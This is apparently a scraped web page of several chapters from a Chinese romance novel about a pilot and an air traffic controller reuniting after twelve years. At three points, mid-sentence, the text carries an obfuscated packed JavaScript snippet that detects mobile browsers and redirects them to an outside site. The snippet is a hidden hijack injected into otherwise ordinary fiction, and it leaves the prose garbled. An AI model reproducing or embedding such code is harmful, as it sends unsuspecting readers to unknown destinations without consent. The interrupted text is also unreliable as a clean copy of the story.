林序川下意识抬眸,就见那人面色红润,话已经明显变多了,声调高昂地跟王珩宇两个人勾肩搭背地称兄道弟……看着真像是喝醉了。 他有些担心,又不好直接开口。转头看了眼江宁,却发现江宁在一旁玩手机,似乎一点也不担心王珩宇。 不过江宁还是注意到了他的目光,“怎么了?” 林序川犹豫着问:“你不管管少爷?他俩都喝了一箱了。” 江宁奇怪地看了他一眼,林序川眼神飘忽,摸了摸鼻子,欲盖弥彰似地补了一句,“时间不早了。” 江宁没说话,转头去拍了拍王珩宇,凑过去有些抱歉地看宋觉骁,“宋机长,时间也不早了……要不你们下次再聊?” 王珩宇本来想说再聊两句,但对上江宁的目光,还是乖乖闭了嘴。 江宁开了口,宋觉骁自然没那么不识趣,点头应了一声。 后来一行人从饭店出来的时候,王珩宇还拽着宋觉骁依依不舍地侃大山,结果被江宁踢了一脚。江宁拽住王珩宇,探身问宋觉骁,“宋机长,你怎么回去啊?” “我——”宋觉骁一挑眉,长腿往后一跨,站定到了身后低着头的林序川身边,“我没开车,林管制,咱俩住上下楼,不然你带我一下?” 林序川:“?” 这话冠冕堂皇地他都找不到理由反驳,林序川抬眼对上江宁的视线——人家小两口,也不好硬塞个电灯泡去打扰他们,最后只能硬着头皮应了句,“行!” 算了,该来的总是要来的! 早死早超生吧! 于是,交托完,江宁就带着王珩宇走了。 徒留门口的林序川和宋觉骁,面面相觑地站了近半分钟,愣是谁也没先开那个口。 然而,就在宋觉骁抬手的瞬间,林序川条件反射般地后退了一步,转身就走。 宋觉骁收回手,舌尖抵着后槽牙,看着那个着急逃离的背影冷冷一笑,恶狠狠地想着:小渣男,当年是一时不察,现在还能让你跑了……老子跟你姓! 他就那么不紧不慢地抬步跟在林序川身后,刚刚是有外人在,这会就他们俩了,宋觉骁那似笑非笑的眼神就这么光明正大地落在林序川身上,像是要给他后脑勺盯出个洞来。 前头的林序川深切体会到了那句“如芒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411390|184594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在背”是什么意思! 一直到上了车,一路回家,他俩都没说过一句话。 宋觉骁就那么胳膊支在车窗玻璃上,反手撑着脑袋,歪斜着身子倚在副驾驶座上,目光落在林序川身上,一瞬不瞬。 十二年不见,长高了不少,但好像瘦了些。那张脸倒是没怎么变,还是那副软乎乎乖乖的模样,头发还烫了小卷,看着好像更好摸了。脾气也没变,从小就凶巴巴的,看着像个小刺猬,实际就是个怂包。 而且还嘴硬得很! 林序川握着方向盘的手不由攥紧,目不斜视地盯着路况。奈何身边的目光过于灼热,他想忽视都难。 可是他们都十二年没见了,该说什么?他刚刚还在江宁他们面前否认说不认识他,按宋觉骁那个小心眼的性子,当时不说,这会就剩他们了,他能那么轻易放过他? 况且还有十二年前的纠葛,当初为了分手……现在想想,那话说得是有点重了。 毕竟,男人最忌讳说不行——而且宋觉骁这人还小心眼,爱记仇! 越是这么想着,林序川越觉得自己凶多吉少。 宋觉骁不开口,他也不知道说什么,两个人就这么沉默了一路。 直到车进了小区,停稳。林序川动作麻利地下车,进门,按电梯。 宋觉骁就跟在他身后,一步不落。 就在上下楼……根本甩不掉! 林序川按了“16”,余光瞥见斜后方的宋觉骁双手插兜倚在一旁,压根没有要按键的打算,干脆伸手帮他按了“15”。 终于,身后的人动了。 林序川站在电梯角落,只感觉身后那股不容忽视的气场逼近上来,随后整个盖住他,酒气混着柠檬柑橘的清香,本是清新的味道,此刻却显得侵略性极强。一只骨节分明的手随即出现在他面前,“嗒嗒”两下就把亮起的“15”按灭了。 林序川:“……” 感觉脖子凉凉的。 按完之后,宋觉骁不说话也不后退,身子就这么挨着他,带着酒气的呼吸落在他耳侧。林序川低着头,跟做贼似的再次伸手,又按了一遍“15”的按钮。 宋觉骁又往前了一步,这次一只手抓着他身侧的扶手,距离拉近,几乎是前胸贴着后背的距离,一只手伸过去又把“15”按掉了。 这次那两下按得格外重,多少带点私人恩怨了。 林序川下意识咽口水,犟脾气上来,可奈何他刚抬起手就被人攥住了手腕,耳畔那个低沉的嗓音像是咬着牙说的:“我不去15楼!” “宋觉骁你——”林序川提了口气,终于是没忍住,皱眉回身,却没想到他们的距离如此之近,话也没说完,还差点撞在他胸口。 宋觉骁还抓着他的手腕,反手压在他身前,低头冷笑,“怎么,不装了?” “叮咚”一声响。 16楼到了。 都不等林序川回答什么,宋觉骁不由分说拉着他出了电梯,林序川住这个明馨小区的布局是一梯两户,出了电梯门,宋觉骁语气不善地回头问他,“哪家?” 他在王珩宇那只知道了林序川在他楼上,没好意思问是哪户。 林序川皱眉挣扎,“你放手。” 这狗男人十二年不见,力气怎么这么大! “你最好别让我问第三遍!”显然,放手是不可能的。宋觉骁沉着脸一字一顿地又问了一遍,“哪、家?” 对上他那满是怒意的眼神,林序川深知他的脾气,只能认命地抬手一指,宋觉骁拽着他到了门前,都没问林序川家门密码,直接拉着他的手强行用指纹解了锁。 开门,进屋,再关门。 一气呵成。 “砰”的一声,林序川被他推到门板上压着,面前的人伸手掐着他的下巴迫使他抬头,林序川到嘴要骂人的话瞬间全被堵了回去,那个带着酒气的吻落下来的那一刻,他只能皱着眉在心里暗骂:妈的,狗东西,疼死了! 时隔十二年的吻,急切,凶狠……又无比委屈。 他听见他颤着声音骂:“骗子——谁同意你分手的!” 4. 微信支付宝 “十二年了,你不该给我一个解释吗?” 宋觉骁此刻就跟那讨债的大爷似地坐在他家沙发上,跷着腿,冷着脸,问完那句话就一言不发地盯着他看。 林序川心虚地连头都不敢抬,默默扶腰。 昨晚先是被人强吻,后来又被人拐到了床上,等他反应过来的时候,衣服都扒完了。看着手底下抚摸着的那沟壑分明的腹肌胸肌肱二头肌——他就那么可耻地半推半就了。 完全忘了这人是来找他讨债的! 还是情债! 见他不说话,宋觉骁轻蔑一笑,“当年那分手短信发的不是挺潇洒的,这会怕了?”他伸手拍了拍身边的沙发,“坐这来,离我那么远干什么?” 当然是怕你索命啊……想起当年他分手的理由,林序川就觉得自己小命不保。 宋觉骁冷冷地看着他,“要我过去抱你?” “……”林序川后腰一痛。 倒是不用。 磨磨蹭蹭地走过去,特地绕着茶几坐到了另一边。 宋觉骁那眼神不咸不淡地瞪了他一眼,林序川只能低着头又挪到了他身边去,不过中间还是隔了点距离——好方便他跑路。 这次宋觉骁倒是没说什么,掏了手机出来甩到他身边,“联系方式。” “啊?”林序川抬头看他,没敢伸手。宋觉骁又道:“手机号、微信,所有能联系到你的方式!” “所有”那两个字被宋觉骁咬得格外重。 林序川只能颤颤巍巍地拿起手机,他本意自然是不想给的,他深知宋觉骁的脾性,当年他能成功分手,还得得益于那天宋觉骁不在家。可眼下,他就算不想给也是不行了。 一来工作他刚入职,也不可能换地方。二来这房子租的是师兄的,他要换地方住,也怕师兄多想。 林序川心里还琢磨遗憾着,就听见某人那低沉的嗓音幽幽道:“你最好别想着一会等我走了拉黑我,我倒是不介意去给你师兄讲讲我们的故事。” “…………”林序川手一抖,输错了一个数字。只得乖乖删掉了重新输入,一边讪笑,“我没有。” 玛德,狗男人! 想想都不行啊! 宋觉骁冷眼睨着他,“你最好是真没有。” 林序川:“……” 太熟了就是没有隐私,随便想点什么都能被人猜到。 最后,在宋觉骁那威慑力极强的眼神下,林序川只能乖乖上交了他所有的联系方式,就差连游戏账号都报给他了,宋觉骁这才肯放过他。 看着手机里刚加上的联系人,宋觉骁暗暗松了口气,面不改色地收了手机,随后一伸手,拽着身边人的胳膊就把人拉了过来。 林序川一时不察跌趴在他腿上,好巧不巧,那手就按在了不该按的地方,“…………” 夭寿了! “我……我说我不是故意的,你信不信?” 说话就说话,干什么拽来拽去的! 场面一时尴尬,但宋觉骁一副气定神闲的模样,一只手拉着他胳膊,另一只手还按在他腰上,林序川起不来,却听见头顶的那个声音道:“做都做了,我没那么小气。” 林序川:“…………” 那你可真不要脸! 宋觉骁松了手让他坐起来,林序川连连想要后退,结果又被宋觉骁拽住了,“躲什么?十二年不见,你藏得挺好啊?” “……”这话说的,他不就是改了个名搬了个家换了所有的联系方式,又顺便和所有认识他的人都断了联系嘛,“我也没——” “没特地藏?” “……” 多此一问。 宋觉骁微微俯身靠近他,一只手掐着他脸颊两侧的颌骨,林序川被他捏得嘴都嘟了起来,“唔唔唔!” “你不觉得你还欠我个解释吗?”他像报复似地捏着他的脸,咬牙切齿地晃了晃,林序川挣扎,宋觉骁直接一手抓住他两只手腕,挣扎无果,他只能可怜巴巴地望着他。 宋觉骁眸光微闪,松了手,开口的语气听上去比林序川还委屈多了,“莫名其妙被分手十二年,死刑犯枪毙还有个法律条例呢,我连自己获刑的理由都不知道。” 林序川捧着脸,甚至还没来得及反驳,就听见宋觉骁冷笑一声,盯着他的眼神一沉,“十二年前是谁说我活太烂?我看你昨晚叫的挺爽啊。” 林序川只觉得脸上发烫:“???” 由此可见,时间在宋觉骁身上不是“杀猪刀”。 这他妈根本就是换了个人吧! 以前怎么没发现这人这么不要脸呢? 真是什么话都说啊! 见他捂着脸不知道在沉思什么的模样,宋觉骁沉声,“说话!” “说什么?”玛德,狗男人下手没轻没重,捏得他脸疼。 “解释!” 他们自小一起长大,年少懵懂的年纪喜欢上彼此,曾经那些炙热的过往历历在目。林序川那一眼假的分手理由,除非他是傻子才会信他! 可这个人,就是拿他当傻子似的耍! 瞧见宋觉骁眼神里闪过的那一丝落寞,林序川突然低下头,宋觉骁看不到他脸上的表情,却在下一秒听到他的话后,脸色瞬间阴沉。 “大家都是成年人了,睡一觉那不都是你情我愿的事……睡完散伙罢了,怎么还上纲上线的。” “你说什么?” 睡完散伙? 宋觉骁垂在身侧的手不由握拳,这兔崽子把他当什么人了! 林序川抬起头,看见他阴沉的脸色吓得心头一颤,撑着沙发默默往后挪,明显怂得很,嘴上却很硬气,甚至还有两分嚣张,“那……睡完觉得不合适就分手了呗。人家结婚还有婚前试爱环节呢!” 宋觉骁眯起眼睛盯着他,眉头整个皱了起来,略沉的呼吸昭示着他此刻的情绪。 林序川猛咽一口唾沫,直接往后退着坐到了沙发另一侧,“你看你非要我解释,真说了你又不乐意。” 宋觉骁一言不发盯着他,林序川被他那个眼神盯得心慌得不行,他就眼睁睁看着那个刚刚还嚣张威胁他的男人在他说完那些话后,缓缓红了眼眶。 那副样子,看着像是在强忍着,快要哭了似的。 一时间,林序川颇感内疚地低下了头。 完了……好像说的太过分了。 其实,他本意只是想把宋觉骁气走。 尽管十二年不见,可没法否认,他从来没有忘记过这个他在情窦初开的年纪就爱上的男人。就算至今,他也依然爱他! 可宋觉骁想要的解释和理由,林序川实在没办法给他。 “呵……你可真是好样的!” 宋觉骁的声音听上去咬牙切齿地很,林序川抿着唇,没敢抬头,深觉自己活像个骗身又骗心,睡完跑路不负责的渣男。 而那个坐在沙发另一侧的男人,微红着眼眶一挑眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411391|184594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,嘴上还是一副可怜委屈的模样控诉,眼里却有几分计谋得逞的狡黠。 “都是第一次,我说再来你又不肯!放机长都得攒小时数呢,不练习怎么增进技术?你见过一出生就会犁地的牛嘛?” 林序川:“…………” 虽然说,话糙理不糙。 可你这话也太糙了! 然而,宋觉骁的控诉还没完,且越说越委屈,“当初拉我去酒店的是你,睡完就跑的也是你,到最后嫌弃我抛下我的还是你……你到底有没有良心的?你把我当什么人!” 林序川:“…………” 这形容听着……挺不是人的? 不过这不是人的事儿确实是他干的,林序川没法反驳。 “那你想怎么样?”林序川梗着脖子瞪他,“反正复合是不可能的!” “林序川!”宋觉骁气得磨牙,那眼神恨不得吃了他,“你真把我当牛郎,想睡就睡?” “诶,你这话就不对了……昨晚分明是你先图谋不轨的!”这人昨晚就是打定主意来睡他的,身上还随身带着套跟润滑剂,现在还倒打一耙地怪他? 这么一想,林序川瞬间理直气壮了起来,挺直了腰板瞪回去。 只是没想到,某人比他更理直气壮,连反驳都懒得,直接就承认了,“那又怎么了?你欠我的!” 林序川:“……” 还得是你不要脸呢! 宋觉骁一副“你要是敢说不,我就弄死你”的眼神盯着他,林序川还真不敢反驳。 但是!话都说到这份上了,干脆恶人做到底! “咳……那什么,”林序川一摊手,摆出一副渣男姿态,“睡也睡了,你要是不乐意,那你把我当牛郎也行啊。给钱,下次还来?” 宋觉骁目光一凛,林序川强装镇定,下一秒就看见不远处坐着的男人甚是从容地掏出手机,“微信支付宝还是现金?” 林序川:“???” 不是,哥你这么没下限的吗? 不应该大发雷霆骂他一顿然后愤然离场吗? 宋觉骁手里握着手机,气定神闲地看着他,“报个价吧,我多给你一倍,改天再来。” 他了解林序川,嘴强王者,实际就是个怂包! 本来他还怕这十二年他会有什么变化,结果就目前看来——他还是那样。 见他那副是真要给他转账的架势,想起昨晚被翻来覆去折腾报复的场景,林序川后腰都痛了。 他可受不了再来一次啊! 他就是过过嘴瘾罢了啊! 你别当真啊哥! 宋觉骁一挑眉,“怎么了,不是你要的服务费嘛?” 林序川:“……” 好一个服务费! 你是会说话的。 下次别说了,我不爱听。 “报吧,哥有钱。”宋觉骁看着他,唇角轻扬,活脱脱一副要给他五星好评的模样,“你情我愿的事,下次我还找你。” 都用上他的话堵他了! 真是——说又说不过,打也打不过。 算了,打不过就加入! 林序川站起身,双手叉腰,“行啊,谈钱是吧,那就再加一笔!” 宋觉骁:“什么?” 林序川一字一顿掷地有声:“赔、偿、款!” - 综上所述,回答一下开篇的问题,总结为四个字: 倒打一耙! 5. 嫖了一晚上 “赔偿款”这三个字可谓精准踩到宋觉骁的雷点,这不摆明了又是说他不行嘛! 但林序川一副“死猪不怕开水烫”的模样,他倒是不能奈他何——毕竟昨晚确实过分了点。 总之,最后的最后,十二年前的事没问出个什么所以然来,就连昨晚的事也被糊弄了过去。 宋觉骁看着眼前紧闭的大门,只能默默叹气。 算了,来日方长。 反正这一次,他是一定不会再让他跑了! 被林序川赶出门之后,宋觉骁就下楼回了15楼他新买的房子。 年前刚得知林序川消息那会,他几乎是第一时间就给他当时的航空公司递交了辞呈,然后火速联系国内的航司。可就算他紧赶慢赶,这流程也办了近一个月。 临回国前,他才又得到消息——林序川调任去了虞城机场。 宋觉骁那会飞的是波音777,中远程宽体客机,一般是执飞洲际远程航线比较多,国内线也有,不过相对较少。而他为了能待在国内,干脆直接参加了改装培训。 但是改装培训最少得三个月,还是封闭式的。这期间,他托人在虞城买了套房子,也就是现在这套。 房子就在机场旁边,小户型但精装修,是非常“精致”的那个“精”。 宋觉骁也没什么意见,当即就定了下来。 其实他那会想的是——按照林序川的性子,不管是租还是买,他应该会选离单位近的。他不喜欢大房子,大概率也不会选特别大的户型。 机场附近就两个小区离得最近,一个叫京御,是高档小区,不是大平层就是小别墅,可以直接排除。 剩下的另一个叫明馨,都是小户型的房子,非常符合他的假定。 只是宋觉骁没想到,还真被他猜中了——林序川不仅就住在这个小区,还跟他是上下楼! 昨天上午落地以后,因为当时起落架故障的事故,配合调查结束后被通知停飞两天。本来他上午落地以后下午还有两段要飞,现在通知停飞了,他就干脆回来了一趟收拾了一下这个新家,晚上才应邀去了王珩宇的饭局。 也是吃饭那会听王珩宇说起,他才知道他楼上住的就是林序川! 呵,所以说,他们俩就是有缘分! 孽缘也是缘! 宋觉骁到家洗了个澡换了身衣服,这才慢慢悠悠地进了书房,刚打开电脑准备写他的事故报告,放在手边的手机就响了。 他随手一接,顺便开了个免提,手机那头的人就咋呼上了,“卧槽,可算是接电话了,你再不接,我都要打电话报警了。” 宋觉骁眼皮都没抬一下,手上噼里啪啦地打字,“没24小时不受理。” “嘿,你跟我讲法是吧?” 宋觉骁额角一跳,打字的手都停了下来,“有事说事。” “也没什么事儿,我就是寻思问问你昨晚干嘛去了。电话不接家里又没人,阿姨电话打到我这问了。”电话那头笑了两声,从声音来判断,明显不怀好意,“你该不会飞行失利出去鬼混了吧?” 宋觉骁爸妈还在国外,昨天上午他出事那会刚落地没多久,他们就得到消息了,虽然没什么事,但毕竟离得远,多半是不放心,晚上才又给他打电话。 但他那会光顾着收拾林序川了,今早起来又跟那个没良心的掰扯了一通,一直到刚刚下楼那会他才有空回了信息。确实也没什么大事找他,就是没联系上,国外那老两口有点不放心。 至于鬼混——想起刚刚跟林序川怼那几句,宋觉骁不由就有点气闷,提了口气敷衍道:“嗯,出去嫖了一晚上。” “卧槽,你来真的?就是个起落架事故,没必要当法制咖啊。你要真进去了,我不会去捞你的!” 宋觉骁翻着白眼骂了一句,“神经病。” 电话那头咋咋呼呼的人叫苏御安,他们俩是从小学到高中的同班同学。用苏御安的话讲——他们俩是臭味相投的好兄弟。 现在是个专攻离婚案的律师。 宋觉骁刚回国那会托的帮他买房子的人,就是苏御安。 帮他打听林序川消息的人,也是苏御安。 当律师的人嘴皮子利索,苏御安还特别不要脸。有时候宋觉骁都怀疑,他的当事人是怎么敢委托他打官司的——看着就不是个靠谱的人。 他俩认识这么多年,宋觉骁骂他那一句不咸不淡根本伤不了他分毫,反倒让苏御安贱兮兮地问:“我这不是关心关心你嘛,你说去讨债的,见着你的小宝贝儿了?” “你很闲?” “那倒是也没——不对!”苏御安话没说完,倒像是突然反应过来什么,宋觉骁听见他那边挺大一声动静,像是什么东西摔了,下一句就听见苏御安在电话那头大骂,“我说你昨天晚上火急火燎莫名其妙地让我给你准备什么套子润滑的——喊你宋狗你还真是个狗东西啊?畜生!不对!畜生不如!” “……”宋觉骁太阳穴一跳,果断按了挂断。 跟律师讲话就是麻烦。 被他挂了电话的苏御安,下一秒立刻开始信息轰炸——因为知道他肯定不会接电话。 【挂我电话?做贼心虚了?】 【不是你俩昨晚真睡了?直接就睡啊?】 【十二年没见,你们就没聊点什么回忆一下往昔?】 【不对,你那往昔不堪回首……那还是算了别回忆了。】 宋觉骁:“……” 有的时候真觉得自己当年交友不慎。 【不是我说,就算不回忆,见第一面就拐人上床了?可真有你的!】 【你没问问他当年为什么睡完就甩了你?】 【哦!我知道了!你其实就是耿耿于怀这个吧?】 宋觉骁:“…………” 当年确实是交友不慎! 【宋狗啊宋狗,还得是你!】 【我跟你讲,男人不能太小心眼!你这样会没人要的!】 【不理我?得,活该被人甩!】 宋觉骁:“………………” 嗯,交友不慎! - 相比起楼下宋觉骁应付苏御安的信息轰炸,楼上的林序川把人赶出门之后,又躺回了床上睡了个回笼觉。 昨晚被人报复狠了,他感觉浑身都疼。 结果这一觉直接睡到了下午四点多。 他胃不太好,今天早上跟宋觉骁闹了那么一通之后他也没什么胃口,身上又难受,早饭没吃,中午饭也没吃。一觉睡到下午四点多,直接被饿醒了。 家里没什么吃的,他知道,一个人他也懒得做饭,上班的时候就蹭单位食堂,不上班就点外卖。今天他是夜班,八点上班,原先是打算上班前去单位食堂蹭一顿。 可是他这会胃疼的难受,眼看是捱不到晚班放饭了。 也顾不上空腹了,先吃了药,又喝了一杯热水,坐在沙发上缓了好一阵,胃里还是隐隐不适,整个人懒散疲惫地顺着沙发倒了下去,皱眉蜷缩在沙发上。 正在他犹豫要不要去找点吃的时候,门铃响了。 他刚来,跟邻里邻居的也不熟悉,单位里也不会有人来找他。这要放以前,林序川指定想不到这会能是谁来敲他家门。 但现在不一样了,楼下有个宋觉骁,就算不猜也能知道此刻门外站着的是谁。 门打开,宋觉骁就看到林序川脸色煞白,一手捂着腰腹的位置,压根不是早上那个梗着脖子跟他对呛的模样了,倒像是,“胃病犯了?” 林序川闻言神色一滞,但还是点了点头,“你又来干嘛?”他扯了个比哭还难看的微笑,嘴上还是那副不正经的模样,“我都这样了,你总不能还要上我吧?” 他这会难受得很,实在没精力应付宋觉骁。 宋觉骁不咸不淡瞪了他一眼,拽着他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411392|184594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进屋,“多说两句也不会显得你很能耐。” 但不说会显得他很弱鸡。 虽然此刻他确实是个弱鸡。 林序川扯了扯嘴角,任由他拽着手腕一路进屋,“你到底来干嘛的?” 宋觉骁把他按到餐桌边的椅子上坐下,没好气道:“看看你饿死了没。” 他中午的时候来过一趟,寻思找林序川吃饭。结果敲门、按门铃都没人来给他开门,给他发了信息也没回,想起昨晚的事,就猜林序川大概是在睡觉,就没吵他。正好同事给他打电话,他就给林序川留了个言,先回去了。 下午跟他爸妈打了个越洋电话,又应付了一下单位的同事,等他空下来的时候,就已经快四点多了。再想起来看手机的时候才发现下午发的信息,林序川根本都没回。 宋觉骁那心里一时七上八下地不安,就干脆又上了趟楼。本来寻思林序川中午睡觉不给他开门还情有可原,结果刚刚他来敲门的时候,还是没人开门。 就算是晚班,也不太可能四点多就出门。打他电话还关机了,他差点就要找人来开锁的时候,林序川倒是出来了。 见他那副脸色惨白又捂着肚子的模样,宋觉骁想起来他以前就有胃病的事。 看这样子,也不知道是几顿没吃。 “还行,”林序川有气无力地趴在桌子上,“微死。” “省点力气少贫两句吧。”宋觉骁伸手,用力揉了揉他的头发,语气倒是没有刚刚那么生硬了,温柔了不少,“吃了吗?” 林序川皱眉打开他的手,“吃了药。” 摸头什么的……感觉像回到了以前一样。 这人以前就喜欢揉他头发,说他头发软软的手感很好,给他揉的一团糟,惹生气了,他再哄。 乐此不疲。 “没吃东西?” 他的声音很轻,也很温柔,简简单单一句话,却是久违十二年的关切。 林序川抬眼望着他,一时愣了神。 见他看着自己发呆,宋觉骁眸光微闪,眼看他也不像是吃了的样子,干脆收回手去了厨房,“家里有吃的吗?” “你要给我做饭?”林序川猛地回过神。 “那我看着你饿死?”宋觉骁回头瞥了他一眼。 林序川立即扯出一个谄媚的笑:“额……我觉得我还可以救一下。” “等着吧。”宋觉骁说着,已经拿过了一旁挂着的围裙系在了身上。 厨房门没关,林序川就坐在餐桌边,双手捂着肚子,下巴支在餐桌上,整个人趴在桌上,就这么看着厨房里那个忙碌着给他做饭的人。 这场景……好像回到了十二年前。 以前,他爸妈因为工作经常不在家,刚开始的大部分时间他都是一个人,直到后来有一次他一个人在家却胃病犯了的时候。 自那以后,只要一放假,只要宋觉骁在家,他几乎每天都会来他家喊他起床,盯着他吃饭学习。他有的时候一个人犯懒想着凑活一顿,宋觉骁也是跟现在一样,一声不吭到厨房给他做吃的,然后盯着他吃完才肯罢休。 而宋觉骁会做饭,也都是为了给他养胃,特地学的。 在他想的出神之际,宋觉骁已经做好了面端出来了。 看着面前那碗红黄相间的西红柿鸡蛋面,林序川整个呆住了。 当年宋觉骁学做饭以后,第一次给他做吃的,就是煮了这么一碗面。 而十二年前,林序川决定和他分手的那天。 宋觉骁临走前,他也缠着让他给自己煮了一碗面。 当时宋觉骁着急要回学校,炒西红柿的时候还有点焦了,一边亲他哄他给他道歉,一边说等他回来以后重新给他做一碗。 可到底后来宋觉骁也没等到重新给他做那碗面,林序川就一走了之了。 只是他不知道,那天那碗带着焦糊味的面,林序川最后是哭着吃完的。 6. 你知道我的 “发什么愣呢?” 林序川回过神,抬头时,宋觉骁已经在他对面的位置上坐下了,“快吃东西,先喝点汤再吃面。” 就连一句简单的叮嘱,都让他倍感熟悉。 林序川低头吃面,一声不吭,宋觉骁就这么坐在他对面看着他。 十二年不见,总觉得他好像哪里不太一样了,虽然面上还是那副不着调的模样。 也是这份不着调——宋觉骁很了解他,林序川这个人,嘴硬,逃避问题时,往往就是这副样子。 他到底瞒着什么不能说的? 对面坐着个人目不转睛地盯着他,况且宋觉骁那个眼神过于灼热,搞得林序川相当不自在,只能咬着筷子抬头找了个话题问:“你没给自己煮一碗?” 这会也五点多了,吃晚饭也不算早。 主要是,这面是人家煮的,光让人坐着看他吃,他有点良心不安。 “你家就剩这半包挂面了,”宋觉骁支着下巴看着他,收敛了几分目光里的审视,“你不知道?” “……”这事闹得,他还真不知道! 毕竟他平常不是蹭单位食堂,就是回家点外卖,很少会自己做饭。 林序川神色有些尴尬,宋觉骁倒是没多说什么,语气很是平淡,“别管我了,你吃吧,我一会回去再吃。” “哦。”他都这么说了,林序川也只好乖乖闭了嘴。 气氛一时尴尬,对面坐着的人还在盯着他看,林序川那脑袋都快低到面碗里了,才听见宋觉骁跟唠家常似地问了一句,“我刚才给你打电话,你手机关机了?” “手机……在卧室,可能没电了吧。” “你今晚夜班?” 林序川吸溜着面条,听见他问的,嘴上没空,就点了点头。 这碗面的味道,还和十二年前一样。 可这十二年,他都没再吃到过一样的味道。 西红柿鸡蛋面,其实很简单。 或许他在意的,只是做的人不同。 林序川低着头,心里乱糟糟的。他怕宋觉骁又要问他十二年前的事,因为他一时真的无法回答他。 可是,宋觉骁问完那句夜班之后,就再也没开口。 他就这么提心吊胆地吃完了一碗面。 等他吃完,宋觉骁十分自觉地收了他的空碗筷去厨房,还拦住了想要起身的林序川,“你坐着吧,我去洗。” 让人做了饭,还让人洗碗——林序川有点不好意思。 但宋觉骁压根不理他,默默在厨房帮他洗碗刷锅打扫卫生,全部收拾完了才擦着手出来,“胃里好些了吗?” 林序川正捧着杯热水,还坐在那个位置上,听见他问话还愣了一下,抿唇点头。 吃了点热的,又填饱了肚子,已经好很多了。 宋觉骁站定在餐桌前,居高临下地看着他,“身上有不舒服吗?” 林序川一愣,起先以为他是问他胃疼的事,但是反应过来又觉得不对,他前一句问过了。抬头对上那人明显意有所指的目光,林序川只觉得耳朵发烫,“没、没什么……睡了一觉,没事了。” 他那声音越说越小。 虽然他嘴上不正经,但他本质还是正经人! 见他低着头耳朵都红了,宋觉骁故意嗤笑一声嘲讽道:“早上不还跟我要赔偿款呢,这会还不好意思了?” “……”听听!听听!这说的什么话! 明知道他是个激不得的性子! 林序川那嘴上不服输的脾气又上来了,怂怂地呛了他一句,“那也没见你给啊。” 宋觉骁冷笑着反问:“也不知道早上是谁把我赶出门的?” 林序川一噎:“……” 是我是我,行了吧! “我让你报价,你又不说。”宋觉骁说着又开始掏手机,随后笑盈盈地看着他问:“要不先给你转个十万?” 夺少?你说夺少? 现在行情都这个价了? 林序川听见这话的第一秒就瞪大了眼睛,虽说这钱是他要的,可他也就过过嘴瘾,哪能真要啊……他俩这关系不清不白的,要他钱多尴尬啊。 想是这么想的,但林序川还是装模作样地咳了一声,“这多不好意思啊。” 宋觉骁一挑眉,反问了一句,“不要?” 林序川不确定地问:“真给啊?” “给啊,不是你要的赔偿款吗?”宋觉骁表情颇为认真地看着他,像是真的在反思一样,“我想了想,你说得也有道理,让你体验不好了,确实是我的问题。” “……”这话说的,林序川脸上发烫,低着头摸了摸鼻子,小声嘀咕,“我说说的……” 也不是真那么差劲…… “嗯?”宋觉骁听见了,双手撑在桌子上,俯身凑到他跟前,一脸意味深长地问:“那要按你这意思?” 林序川一噎,脸上更烫了,“……” 被他突然的靠近逼着身子往后仰了些,扭过脸愣是没反驳出来一句话。 宋觉骁眼尖地瞅见他耳朵也红了,那红润的颜色从圆润的耳尖一路浸染泛滥,甚是可人。宋觉骁直起身子,眸光微凝,喉结滚动,生生克制住心头那两分旖旎,一言不发地拿起了手机,直接给他微信转账了,就连转账备注上都写上了“自愿赠予”的字样。 因着林序川手机不在身边,转完他还特地把手机转账界面给林序川看了一眼。 见着没几句话的聊天界面上的转账记录,林序川皱眉看着他,“我开玩笑的……我一会退给你。” 这钱可要不得!真要他钱了,算怎么回事啊? 宋觉骁没说话,反倒是从对面绕过餐桌到了他身边,再次俯身凑近他,单手捏着他的下巴,嗓音低沉却带着几分不容置疑的语调,“我可没跟你开玩笑,你知道我的。” 拇指拂过他的双唇,宋觉骁那双深邃的眼睛目光紧盯着他,像盯着他势在必得的猎物,带着绝对的强势侵蚀他的理智。对上那眼神,林序川下意识想躲,却被他一手扣住了后颈。 他躲不开,而面前的人却越凑越近,气息交缠,暧昧陡增。 林序川僵直了脊背愣在原地——他知道,这人脾气犟,性子轴,认死理。 他是在告诉他,他们的关系理不清,也撇不掉。 他回来了,就不会再放任他像十二年前一样。 宋觉骁低头,温热的吻落在他按着林序川唇角的拇指上,唇角带着浅浅的笑意盯着他,温柔缱绻,又摄人心魄。 林序川身子轻颤,双手撑着椅子,紧紧攥着,呼吸都不由急促了两分。 不得不承认,他心里莫名有那么一丝庆幸——庆幸他回来了,庆幸他们还能重逢。 但也只是片刻,理智很快回拢,慌乱席卷而来。 